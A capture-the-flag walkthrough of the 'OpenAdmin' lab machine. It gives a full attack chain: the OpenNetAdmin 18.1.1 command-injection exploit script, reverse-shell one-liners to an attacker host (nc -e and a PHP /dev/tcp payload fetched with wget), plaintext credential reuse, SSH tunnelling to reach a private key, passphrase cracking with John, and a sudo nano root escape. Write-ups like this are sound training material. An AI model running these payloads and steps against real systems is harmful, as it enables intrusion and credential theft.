< back


LHOST: xx.xx.xx.xx

Initial Enumeration

To start with I just scanned for open ports on the remote host.

root@kali:~# nmap -sV
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-05 07:25 EST
Nmap scan report for
Host is up (0.28s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.58 seconds

Nothing too interesting, standard ssh and webserver running.

Hitting with a HTTP request returns the OOTB apache page, let's try enumerating common directory names to see if we can find anything else.

I'm using gobuster, but you can use any scanning tool like dirb, nikto etc.

root@kali:~# gobuster dir -u -w /usr/share/dirb/wordlists/common.txt 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/02/04 05:37:28 Starting gobuster
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/.hta (Status: 403)
/artwork (Status: 301)
Progress: 1381 / 4615 (29.92%)

Found a directory named /artwork, let's take a peek.


Seems to just be a bunch of static pages, probably a dead end. Gobuster has found some more results though!

root@kali:~# gobuster dir -u -w /usr/share/dirb/wordlists/common.txt 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/02/04 05:37:28 Starting gobuster
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/.hta (Status: 403)
/artwork (Status: 301)
/index.html (Status: 200)
/music (Status: 301)
/server-status (Status: 403)
Progress: 4315 / 4615 (93.50%)

Let's check out the /music directory.


At first glance it looks like it's just another static site template, but notice the login link leads to another url /ona

Hitting up /ona we are greeted with the dashboard for OpenNetAdmin


Seems to be software for IP Address Management, right off the bat we can see the dashboard has a warning that the version in use, 18.1.1 is outdated. Hopefully we can use that to our advantage.

Getting a foothold

I searched exploitdb for any known vulnerabilities.

root@kali:~# searchsploit opennetadmin
------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                     |  Path
                                                                   | (/usr/share/exploitdb/)
------------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution                      | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)       | exploits/php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution                        | exploits/php/webapps/47691.sh
------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

ayyyy lmao what do you know, there's a vulnerabity for this version that allows RCE. Let's look at the script.

root@kali:~# cat /usr/share/exploitdb/exploits/php/webapps/47691.sh 
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux


while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

So it looks like with a specially crafted payload in the HTTP post data, we can run our own commands on the OpenNetAdmin server. However when I try and run the bash script:

root@kali:~# bash /usr/share/exploitdb/exploits/php/webapps/47691.sh
/usr/share/exploitdb/exploits/php/webapps/47691.sh: line 8: $'\r': command not found
/usr/share/exploitdb/exploits/php/webapps/47691.sh: line 16: $'\r': command not found
/usr/share/exploitdb/exploits/php/webapps/47691.sh: line 18: $'\r': command not found
/usr/share/exploitdb/exploits/php/webapps/47691.sh: line 23: syntax error near unexpected token `done'
/usr/share/exploitdb/exploits/php/webapps/47691.sh: line 23: `done'

I get some errors thrown related to line endings (\r), looks like a mismatch between DOS and UNIX line endings, so let's run the script through dos2unix

root@kali:~# cp /usr/share/exploitdb/exploits/php/webapps/47691.sh onaRCE.sh
root@kali:~# dos2unix onaRCE.sh 
dos2unix: converting file onaRCE.sh to Unix format...
root@kali:~# bash onaRCE.sh
$ whoami

Lo and behold, we are able to do remote code execution on the server as the user running the webserver, www-data. However the shell we have is quite limited in functionality, we aren't able to change directory and I don't get the STDERR stream.

$ cd /home
$ pwd

She Sells Sea Shells by the Sea Shore

Let's try and get a more functional reverse shell to make life a bit easier

On local: Use netcat to listen on port 8888

nc -vnlp 8888

First I tried to dial out from the remote using netcat, but it didn't work

On remote:

$ nc -e /bin/sh xx.xx.xx.xx 8888

I don't get a connection, so I assume nc with the -e flag didn't work since I can't see the error output.

$ /bin/sh | nc xx.xx.xx.xx 8888

Piping bourne shell to netcat managed to connect to my box but I couldn't actually get any output streams back. Since the webserver runs php, I grabbed a php reverse shell from my local onto the webserver.

On local:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/xx.xx.xx.xx/8888 0>&1'");

in /var/www/html/rshell.php

On remote:

$ wget xx.xx.xx.xx/rshell.php
$ cat rshell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/xx.xx.xx.xx/8888 0>&1'");

One HTTP request to the php reverse shell later:

root@kali:~# wget
--2020-02-04 07:14:27--
Connecting to connected.
HTTP request sent, awaiting response... 
root@kali:~# nc -vnlp 8888
listening on [any] 8888 ...
connect to [xx.xx.xx.xx] from (UNKNOWN) [] 34712
bash: cannot set terminal process group (987): Inappropriate ioctl for device
bash: no job control in this shell

Boom, a marginally better shell. We can improve it further by making it fully interactive complete with tab completion with this little trick

Use python's pty (pseudo terminal) library to spawn a bash process, CTRL+Z to send netcat to background, change terminal settings to pass keyboard shortcuts and other special characters through with stty raw -echo, then fg to revive the netcat process to foreground.

www-data@openadmin:/opt/ona/www$ python3 -c 'import pty;pty.spawn("/bin/bash");'
<ww$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@openadmin:/opt/ona/www$ ^Z
[1]+  Stopped                 nc -vnlp 8888
root@kali:~# stty raw -echo
root@kali:~# nc -vnlp 8888


Sniffing around

I decided to take a look at the webserver configuration

www-data@openadmin:/etc/apache2/sites-enabled$ ls
internal.conf  openadmin.conf

www-data@openadmin:/etc/apache2/sites-enabled$ cat internal.conf 

    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined


www-data@openadmin:/etc/apache2/sites-enabled$ ls -lah /var/www
total 16K
drwxr-xr-x  4 root     root     4.0K Nov 22 18:15 .
drwxr-xr-x 14 root     root     4.0K Nov 21 14:08 ..
drwxr-xr-x  6 www-data www-data 4.0K Nov 22 15:59 html
drwxrwx---  2 jimmy    internal 4.0K Nov 23 17:43 internal
lrwxrwxrwx  1 www-data www-data   12 Nov 21 16:07 ona -> /opt/ona/www

www-data@openadmin:/etc/apache2/sites-enabled$ ls /var/www/internal
ls: cannot open directory '/var/www/internal': Permission denied

Interesting, the /var/www/internal directory, which my current user group does not permission to, is being served by apache on port 52846 but only to the servers localhost. This should be useful for later. We can also see a user jimmy.

Taking a look at /etc/passwd, there looks like there's another user of interest, joanna, that we should try to pivot to

www-data@openadmin:/opt/ona/www$ cat /etc/passwd
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

After some time enumerating through the server, I ended up searching the initial directory we were in and I found something useful.

www-data@openadmin:/opt/ona/www$ grep -r 'passw' .
./local/config/database_settings.inc.php:        'db_passwd' => 'n1nj4W4rri0R!',
www-data@openadmin:/opt/ona/www$ cat local/config/database_settings.inc.php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',

Jackpot! Credentials for database in plaintext in a config file.

www-data@openadmin:/opt/ona/www$ mysql -uona_sys -pn1nj4W4rri0R!
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 103
Server version: 5.7.28-0ubuntu0.18.04.4 (Ubuntu)

Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
| Database           |
| information_schema |
| ona_default        |
2 rows in set (0.00 sec)

mysql> use ona_default; show tables;
Database changed
| Tables_in_ona_default  |
| blocks                 |
| configuration_types    |
| configurations         |
| custom_attribute_types |
| custom_attributes      |
| dcm_module_list        |
| device_types           |
| devices                |
| dhcp_failover_groups   |
| dhcp_option_entries    |
| dhcp_options           |
| dhcp_pools             |
| dhcp_server_subnets    |
| dns                    |
| dns_server_domains     |
| dns_views              |
| domains                |
| group_assignments      |
| groups                 |
| host_roles             |
| hosts                  |
| interface_clusters     |
| interfaces             |
| locations              |
| manufacturers          |
| messages               |
| models                 |
| ona_logs               |
| permission_assignments |
| permissions            |
| roles                  |
| sequences              |
| sessions               |
| subnet_types           |
| subnets                |
| sys_config             |
| tags                   |
| users                  |
| vlan_campuses          |
| vlans                  |
40 rows in set (0.00 sec)

mysql> select * from users;
| id | username | password                         | level | ctime               | atime               |
|  1 | guest    | 098f6bcd4621d373cade4e832627b4f6 |     0 | 2020-02-04 12:30:40 | 2020-02-04 12:30:40 |
|  2 | admin    | 21232f297a57a5a743894a0e4a801fc3 |     0 | 2007-10-30 03:00:17 | 2007-12-02 22:10:26 |
2 rows in set (0.00 sec)

This turns out to be a bit of a dead end. The password columns are just hashed with MD5 and we get test and admin respectively.

Next I tried the database user password n1nj4W4rri0R! for the users joanna and jimmy.

root@kali:~# ssh [email protected]
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:loIRDdkV6Zb9r8OMF3jSDMW3MnV5lHgn4wIRq+vmBJY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
[email protected]'s password: 
Permission denied, please try again.
[email protected]'s password: 

No luck for user joanna

root@kali:~# ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

Awesome, seems like user jimmy was lazy and reused the same password.

There is nothing in his home directory so it seems we need to pivot to joanna's account to get the user flag.

Pivoting across users

Since jimmy is the owner of the /var/www/internal directory we saw earlier, let's take a look at what's inside

jimmy@openadmin:~$ cd /var/www/internal
jimmy@openadmin:/var/www/internal$ ls
index.php  logout.php  main.php 
jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session

main.php looks extremely interesting, joanna's private key would be rendered on the page if we were logged into the php session.

jimmy@openadmin:/var/www/internal$ cat index.php

   // error_reporting(E_ALL);
   // ini_set("display_errors", 1);

<html lang = "en">

      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
      </div> <!-- /container -->

index.php looks like a crude login page which redirects us to main.php if we are identified as jimmy in the session. The credentials are hardcoded in the source, with username: jimmy and the password as the sha512 hash of 00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1 One quick google later, we find that the hash decrypts to Revealed

Now we need to actually get apache to serve us the php files in order to get joanna's private key, however apache is configured to only serve the php in /var/www/internal over localhost. We can circumvent this by using an ssh tunnel to do local port forwarding.

root@kali:~# ssh -N -L 42069:localhost:52846 [email protected]
[email protected]'s password: 

With this ssh command, we are forwarding localhost:52846 from the remote server to our localhost:42069. The -N flag tells ssh we aren't intending to run any remote commands so it doesn't spawn a shell on the remote side. Now we can request the files in the /var/www/internal directory on the server.

Screenshot Screenshot

We now have joanna's RSA private key! There is one slight problem, notice the header

Proc-Type: 4,ENCRYPTED

This means that this privated key is encoded with a passphrase which we will need if we are to use it to logon to the server as joanna.

We can try to bruteforce the passphrase using JohnTheRipper, but first the RSA private key needs to be converted to a hash we can pass into john. I used the ubiquitous rockyou wordlist and one cigarette later I came back to the passphrase!

root@kali:~# python ssh2john.py joanna_priv > joanna_hash
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt joanna_hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (joanna_priv)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:10 DONE (2020-02-04 08:04) 0.09699g/s 1391Kp/s 1391Kc/s 1391KC/sa6_123..*7¡Vamos!
Session completed

Now we can ssh into the server as joanna using her private key

root@kali:~# ssh -i joanna_priv [email protected]
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
joanna@openadmin:~$ ls
joanna@openadmin:~$ cat user.txt

And we have the user flag! Now time to privilege escalate to get the root flag.


Let's start with a common technique, listing commands the current user can run with sudo

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass,

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

We are able to use nano as root to edit one file /opt/priv I looked on GTFOBins to see if we can exploit sudo nano and yes we can with:

sudo nano /opt/priv
reset; sh 1>&0 2>&0
Command to execute: reset; sh 1>&0 2>&0#                                                                    
#  Get Help                                           ^X Read File
#  Cancel                                             M-F New Buffer
# whoami
# cat /root/root.txt

And just like that we managed to get root!